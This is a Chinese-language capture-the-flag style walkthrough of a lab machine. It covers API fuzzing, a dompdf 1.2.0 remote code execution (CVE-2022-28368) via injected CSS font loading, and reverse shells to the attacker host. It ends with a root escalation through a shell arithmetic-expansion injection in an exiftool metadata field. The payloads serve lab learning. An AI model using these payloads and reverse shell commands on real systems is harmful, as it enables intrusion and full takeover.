主机发现

nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports

访问80页面,主页面是这样的

再访问一下index.php或者index.html 发现是404错误,

有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露

利用f12查看js源码

搜索http:// 或者/ 或者/upload

这里搜索到的是/api

说明这里是有可能跳转到某个api的路径,利用bp在路径上进行访问,并且要用get,post两种不同的方式进行repeat

可以看到由Next.js支持的 既然是js支持那就是上传的数据最好都是json格式的数据

去掉api单纯看看有无反应 发现200返回

看到右边的返回包有一大段的路径,发现里面有一个域名叫 http://prd.m.rendering-api.interface.htb 一看就是和主题有关的路径,直接访问看看情况如何

抓包看看具体情况

发现就只有一个file not found 那是利用get方式还是post方式提交的file呢 如果是post方式的话,interact关键词是什么呢

change一下request method进行上传

ost 方式然后先尝试用关键词file当key进行上传查询

content-type: application/json

{“file”:”/etc/passwd”}

仍然是没有找到

利用Fuzz进行查找

copy to file 并修改file->FUZZ (failure) 这一步是为了在这个页面看看能不能找到一个能够与server interact的参数

利用fuff进行请求

fuff -request file.req -request-proto http -w /opt/xxdictionary -mc all -fs 36

fuff用户手册:mirrors / ffuf / ffuf · GitCode

解析:-request —File containing the raw http request

   -request-protoProtocol to use along with raw request (default: https)

   -mc matchMatch HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405,500)

   -sfStop when > 95% of responses return 403 Forbidden (default: false)

利用gobuster对新发现域名的爆破

sudo gobuster -u http://prd.m.rendering-api.interface.htb -w /opt/xxx dictionary -t 100 (指定线程)

gobuster爆破后的结果为0

再利用post方式进行爆破(新)

sudo gobuster -u http://xx.htb -w -t 100 -m POST

在爆破之余,将bp替换掉原本的域名index.php换成prd.m.rendering-api.interface.htb 利用api这个已暴露的路径看看是否由返回值

发现同样是404

第二步FUZZ 像gobuster一样爆破 (模糊路径)fuff -u http://prd.m.rendering-api.interface.htb/FUZZ -w /opt/Seclists/discovery/web-content/raft-small-wordlists.txt -mc all -fs 0 

fuzz出来一个404 和上面自己手动的方式一样

再利用fuzz对api后的路径进行模糊测试

fuff -u http://xx.htb/api/FUZZ -w /opt/xx -mc all -fs (根据输出的多少进行判断) 失败

再利用post方式进行fuzz

fuff -u http://xx.htb -w /xx -mc all -fs 50 -d ‘ x=x’

解析: -d POST data

利用feroxbuster进行爆破路径

feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST (新) 成功

将该html2pdf放入到bp里面repeat

post方式传一下 (一定要注意get post相互转换)

提示为 missing parameters 就是说我们缺乏一个参数能够与server进行interact的

由于是因为next.js支持,所以post方式一定是json格式进行上传

构造json数据

{“file”:”/etc/passwd”}

改content-type 为application/json

或者直接进行fuzz测试

构造{“FUZZ”:”/etc/passwd” }改content-type 为application/json

copy to file 利用ffuf测试

ffuf -request file.req -request-proto http -w /opt/xx dictionary -mc all -fs 36 (失败)

但是失败原因在于字典没有html 所以有一个好字典是非常重要的

换一个字典继续尝试

在测试的同时可以手动预估

由于/api后面的路径是html2pdf,所以根据人的习性来说,interact参数可能是html

尝试是不是html (成功)

同时ffuf换了一个字典之后也成功发现html

利用bp的copy to command curl 利用curl获得返回包的所有数据并拷贝成一个pdf文件

利用exiftools进行下载查看pdf的类型和版本

producer是dompdf 1.2.0

google it 看看有没有漏洞

发现CVE-2022-28368

本质上是利用css的标签下载这个css,并运行的时候,css内还有一个内置的外部链接下载另一个php文件

漏洞利用

1.inject css

这段是恶意css 内容复制到please.css里面

@font-face {$

  font-family:’TestFont’;$

  src:url(‘http://kali ip/exploit_font.php’)$

  font-weight:’normal’;$

  font-style:’normal’;$

}$

kali开启http服务’里面放了一个exploit_font.php 和exploit.css

exploit_font.php是由positive-security/dompdf-rce中 raw下载的攻击php这个攻击php的文件名要对上css里面src对应的文件名

准备就绪后,利用漏洞页面进行html2pdf的页面进行css的上传

写将这段css往漏洞页面上当成json的value进行发送

{“html”:””}

tips:这里是pwn只是名字不相同罢了

观察kali 是否由被下载成功的提示

成功上传后,访问是否成功

根据cve的漏洞提示,这里要将css内的整个src路径的md5打印出来

echo -n ‘http://kali ip/exploit_font.php’ | md5sum 并将获得的md5值复制到上传的页面

bp repeat 访问 host :http://prd.m.rendering-api.interface.htb

路径是 /vender/dempdf/dompdf/lib/fonts/testsfont_normal_md5.php 访问

失败

重新试一次改一个css为pwn2.css其他的不该,此时kali开启的服务文件夹内由exploit_font.php pwn2.css

pwn2.css包含

@font-face {$

  font-family:’TestFont’;$

  src:url(‘http://kali ip/exploit_font.php’)$

  font-weight:’normal’;$

  font-style:’normal’;$

}$

这个css样式

重新发送

1.bp访问host: prd.m.rendering-api.interface.htb 路径为/api/html2pdf

{“html”:””}

成功

2.访问上传到的页面

bp repeat 访问 host:prd.m.rendering-api.interface.htb

路径为/vender/dompdf/dompdf/lib/fonts/testfont_normal_md5.php

成功发现执行了exploit_font.php里面的phpinfo命令

修改exploit_font为反弹shell的命令并保存为文件名为font.php

保存后,将pwn2.css改名成pwn3.css 并且修改css内src:url的文件名成http://kali ip/font.php

并且将http://kali ip/font.php md5sum成一个md5hash用于拼接

重新利用漏洞上传恶意font.php

1.上传恶意css

2.访问上传后的恶意php文件位置并在下面添加 cmd=bash -i ‘bash -c >& /dev/tcp/kali ip/1234 0>&1’ 反弹shell

kali监听 nc -lvnp 1234

成功获取shell

成功获取shell发现是一个不完整的shell,因为python -c ‘import pty;pty.spawn(‘/bin/bash’);’是直接打出原文,所以要对shell进行修改操作

1.首先添加一个环境变量

export term=xterm

进入到自己的shell中

stty -a 查看自己的shell的行高和宽高

再次进入到靶机shell中 设置stty的行高列高

stty rows 21 col 121

成功设置为一个交互性良好的shell

tips 从靶机shell ctrl+Z退出后到自己的shell,然后通过fg再次进入到靶机shell中 (应该)

上传pspy监听有没有root执行的sh脚本

发现一条uid=0执行的sh脚本

解析:cache为/tmp目录,变量cfile遍历tmp下所有的文件if [[ -f “$cfile” ]];then是判断存不存在cfile这个变量 存在执行不存在不执行

并且将cfile变量的所有producer属性变成meta_producer中

cut -d ” ” -f1 的详细意义是:根据空格作为分隔符,选取每一行的第一个字段。可以理解为提取每一行的第一个单词

利用:在/dev/shm/下创建一个文件shell.sh

内容

#!/bin/bash

bash -i >& /dev/tcp/kali ip/9001 0>&1

创建一个cleanme文件

exiftools -producer=’arr[$(/dev/shm/shell.sh)]’ cleanme 修改cleanme文件的producer属性

将cleanme文件放在/tmp目录下

等待系统任务运行

kali监听9001端口 成功获取一个root权限的shell

完结撒花

阅读链接:https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/